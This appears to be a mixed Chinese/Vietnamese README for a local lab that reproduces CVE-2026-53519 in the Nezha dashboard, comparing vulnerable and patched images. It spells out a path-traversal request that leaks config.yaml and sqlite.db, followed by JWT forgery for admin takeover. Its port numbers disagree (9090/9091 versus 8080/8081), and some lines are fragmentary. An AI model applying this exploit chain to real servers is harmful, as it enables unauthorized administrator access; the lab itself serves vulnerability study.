| 镜像 | URL(回环) | 预期结果 |
|---|
| 漏洞版 | ghcr.io/nezhahq/nezha:v2.0.12 | http://127.0.0.1:9090 | 泄露 config.yaml,夺取管理员权限 |
| 已修补版 | ghcr.io/nezhahq/nezha:v2.0.13 | http://127.0.0.1:9091 | 被拦截(404) |
两者均仅绑定 127.0.0.1,不暴露到局域网。默认管理员登录:admin / admin。
python)- 用于解析泄露的 sqlite.db(缺失时有回退方案)# 1. Seed data + up 2 container (vuln 8080, patched 8081)
.\lab.ps1 reset
# 2. Smoke check nhanh
.\lab.ps1 validate
# 3. Chuoi khai thac day du tren VULN
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1
# 4. Doi chung tren PATCHED (mong doi: bi chan)
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1 -Patched
# 5. Negative controls (vi sao dung bien the nay moi leak)
powershell -ExecutionPolicy Bypass -File .\poc\negative-controls.ps1
管理命令:
.\lab.ps1 start | stop | status | logs [vuln|patched]
GET /dashboard../data/config.yaml -> 泄露 jwt_secret_key。
GET /dashboard../data/sqlite.db -> 获取管理员用户 id(id=1)。{user_id:"1", ip:"", exp:<future>} 进行签名 -> Authorization: Bearer <token>
-> GET /api/v1/profile(验证)以及 GET /api/v1/user(仅管理员端点)-> 管理员接管。根因详情:参见 analysis/ROOT_CAUSE.md 和
analysis/vuln-vs-patch.diff。
完整报告:REPORT_CVE_2026_53519.md。
docker-compose.yml # A/B vuln (8080) vs patched (8081)
seed/config.yaml # seed jwt_secret_key co dinh (deterministic)
seed/lab_canary.txt # canary de minh hoa file read
lab.ps1 / lab-common.ps1 # quan ly + helper (raw HTTP, forge JWT HS256)
poc/poc-cve-2026-53519.ps1 # chuoi khai thac day du
poc/negative-controls.ps1 # doi chung cac bien the bi chan
poc/parse_users.py # parse sqlite.db leak -> user id admin
analysis/ROOT_CAUSE.md # phan tich + ban va
analysis/vuln-vs-patch.diff # diff controller.go v2.0.12 -> v2.0.13
evidence/ # output tu moi lan chay (leaked-config, token, userlist...)
本 Lab 仅用于本地环境中的研究/教育目的。seed/config.yaml 中的 jwt_secret_key
是虚假值,仅用于演示。请勿在生产环境使用此漏洞版本的镜像/版本。